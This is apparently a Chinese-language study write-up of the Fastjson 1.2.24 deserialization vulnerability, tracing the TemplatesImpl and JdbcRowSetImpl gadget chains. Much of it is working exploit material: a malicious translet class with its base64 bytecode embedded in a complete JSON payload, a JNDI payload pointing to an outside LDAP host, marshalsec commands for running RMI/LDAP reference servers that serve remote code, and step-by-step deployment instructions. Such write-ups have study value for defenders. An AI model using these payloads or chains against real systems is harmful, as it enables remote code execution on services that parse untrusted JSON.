FastJson1.2.24
先提一下fastjson的功能要点
-
使用 JSON.parse(jsonString)
和 JSON.parseObject(jsonString, Target.class)
,两者调用链一致,前者会在 jsonString 中解析字符串获取 @type
指定的类,后者则会直接使用参数中的class。
-
fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get
开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set
开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build()
中。
-
使用 JSON.parseObject(jsonString)
将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。
-
如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField
参数。
-
fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略 _|-
字符串,也就是说哪怕你的字段名叫 _a_g_e_
,getter 方法为 getAge()
,fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _
和 -
进行组合混淆。
-
fastjson 在反序列化时,如果 Field 类型为 byte[]
,将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行 base64 解码,对应的,在序列化时也会进行 base64 编码。
TemplatesImpl 反序列化
Fastjson(1.2.2 - 1.2.4)在启用了SupportNonPublicField
特性时可以利用Xalan的TemplatesImpl实现RCE
Fastjson会创建com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类实例,并通过json中的字段去映射TemplatesImpl
类中的成员变量,比如将_bytecodes
经过Base64解码后将byte[]映射到TemplatesImpl
类的_bytecodes
上,其他字段同理。但仅仅是属性映射是无法触发传入的类实例化的,还必须要调用getOutputProperties()
方法才会触发defineClass
(使用传入的恶意类字节码创建类)和newInstance
(创建恶意类实例,从而触发恶意类构造方法中的命令执行代码)
首先可以在Templateslmpl#getTransletInstance中得到实例化函数
可以发现这是将_class这个数组中的[_transletIndex]进行了实例化,所以这就可以确定了我们链子的最终利用点
通过查看实例我们可以发现如下关系,类中的 getOutputProperties()
方法调用 newTransformer()
方法,而 newTransformer()
又调用了 getTransletInstance()
方法。图如下
那么这个时候就要看getOutputProperties()是否可控了,这个方法是OutputProperties的getter方法,然后就是看上面所提到的class数组是否可控,这决定了我们是否可以实例化我们所要加载的恶意类
可以发现在上图的参数具有赋值操作,其中defineTransletClasses在getTransletInstance是有调用的,只要_class为空就可以调用,详见下图
分析defineTransletClasses可以得到,如果_bytecodes不为空,那么就会进行自定义类的调用
接下来就是构造恶意类,形成payload了
Shell.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javax.imageio.IIOException; import java.io.IOException;
public class Shell extends AbstractTranslet {
static { try{ Runtime.getRuntime().exec("calc"); }catch (IOException e){ e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
Base64Encoder.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64;
public class Base64Encoder { public static void main(String[] args) throws Exception { String filePath = "./out/production/1.2.24/Shell.class"; byte[] classBytes = Files.readAllBytes(Paths.get(filePath)); String encoded = Base64.getEncoder().encodeToString(classBytes); System.out.println(encoded); } }
|
本地测试代码FastjsonTest1.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature;
import java.io.IOException; public class FastjsonTest1 { public static void main(String[] args){ String byteCode = "yv66vgAAADQANgoACAAmCAAnCgAoACkKACgAKgcAKwoABQAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAdMU2hlbGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACsBAApTb3VyY2VGaWxlAQAKU2hlbGwuamF2YQwACQAKAQAEY2FsYwcAMAwAMQAyDAAzADQBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAA1AAoBAAVTaGVsbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACgANAAAADAABAAAABQAOAA8AAAABABAAEQACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACABYAAAAEAAEAFwABABAAGAACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAHQANAAAAKgAEAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABkAGgACAAAAAQAbABwAAwAWAAAABAABABcACAAdAAoAAQALAAAAcQACAAEAAAAUEgJLuAADKrYABFenAAhLKrYABrEAAQAAAAsADgAFAAMADAAAABoABgAAAA4AAwAPAAsAEgAOABAADwARABMAEwANAAAAFgACAAMACAAeAB8AAAAPAAQAIAAhAAAAIgAAAAcAAk4HACMEAAEAJAAAAAIAJQ=="; final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String payload = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+byteCode+"\"]," + "'_name':'Chu0'," + "'_tfactory':{}," + "\"_outputProperties\":{}}\n"; System.out.println(payload); Object object = JSON.parseObject(payload, Feature.SupportNonPublicField); } }
|
这里给出payload
1 2 3 4 5 6 7 8 9
| { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["yv66vgAAADQANgoACAAmCAAnCgAoACkKACgAKgcAKwoABQAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAdMU2hlbGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACsBAApTb3VyY2VGaWxlAQAKU2hlbGwuamF2YQwACQAKAQAEY2FsYwcAMAwAMQAyDAAzADQBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAA1AAoBAAVTaGVsbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACgANAAAADAABAAAABQAOAA8AAAABABAAEQACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACABYAAAAEAAEAFwABABAAGAACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAHQANAAAAKgAEAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABkAGgACAAAAAQAbABwAAwAWAAAABAABABcACAAdAAoAAQALAAAAcQACAAEAAAAUEgJLuAADKrYABFenAAhLKrYABrEAAQAAAAsADgAFAAMADAAAABoABgAAAA4AAwAPAAsAEgAOABAADwARABMAEwANAAAAFgACAAMACAAeAB8AAAAPAAQAIAAhAAAAIgAAAAcAAk4HACMEAAEAJAAAAAIAJQ=="], "_name": "Chu0", "_tfactory": {}, "_outputProperties": {}, "_auxClasses":{ }, "_transletIndex":0 }
|
这里的_name和_tfactory是为了防止为null进而报错,链子分析
fj会在创建一个类实例时会通过反射调用类中符合条件的参数的getter或者setter方法,这里是getter方法也就是getOutputProperties(),这是入口,接下来就是调用该方法中的newTransformer(),再到newTransformer()方法中的getTransletInstance(),由于我们的_class为空,所以根据逻辑又会触发defineTransletClasses,由于_bytecodes不为null,所以就会将_bytecodes[0]中的字节码加载进_class[0]中,最后,在_class[_transletIndex].getConstructor().newInstance();将恶意类进行实例化,执行我们的恶意命令
JdbcRowSetImpl 反序列化
很好理解com.sun.rowset.JdbcRowSetImpl有两个函数,一个是setAutoCommit(),一个是connect(),漏洞的主要成因是connect中的lookup函数的参数可控,下面是setAutoCommit
在这里调用了connect方法,继续跟踪
在这里我们就看到了lookup函数,他的参数是getDataSourceName,根据fj的运行原理,我们可以明白在创建实例的时候fj会调用对应参数的getter或者setter方法,payload如下
1 2 3 4 5
| { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://110.41.17.183:5555/ExploitTest", "autoCommit":true }
|
链子分析,在这里先触发getdataSourceName给dataSourceName赋值,再触发setter方法触发setAutoCommit,进而完成整条链子
开启http服务
1 2
| python3 -m http.server #默认8000端口
|
工具marshalsec-0.0.3-SNAPSHOT-all.jar
1 2
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://110.41.17.183:8080/#Exploit" 5555 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://110.41.17.183:8080/#Exploit" 5555
|
在某ip,一般就为本机ip,开启RMI或者LDAP服务
FastJsonServer.java
1 2 3 4 5 6 7 8 9 10
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject;
public class FastJsonServer { public static void main(String[] args) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); String str = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://110.41.17.183:5555/ExploitTest\", \"autoCommit\":true}"; JSONObject jsonObject = JSON.parseObject(str); } }
|
ExploitTest.java
1 2 3 4 5 6 7 8 9
| import java.io.IOException;
public class ExploitTest {
public ExploitTest() throws IOException { Runtime.getRuntime().exec("calc"); } }
|
具体操作:
1.在服务器开启RMI或者LDAP服务
2.在同目录下开启http服务
3.将Exploit.java编译为class文件,放到上边开启服务的同目录下
4.执行FastJsonServer.java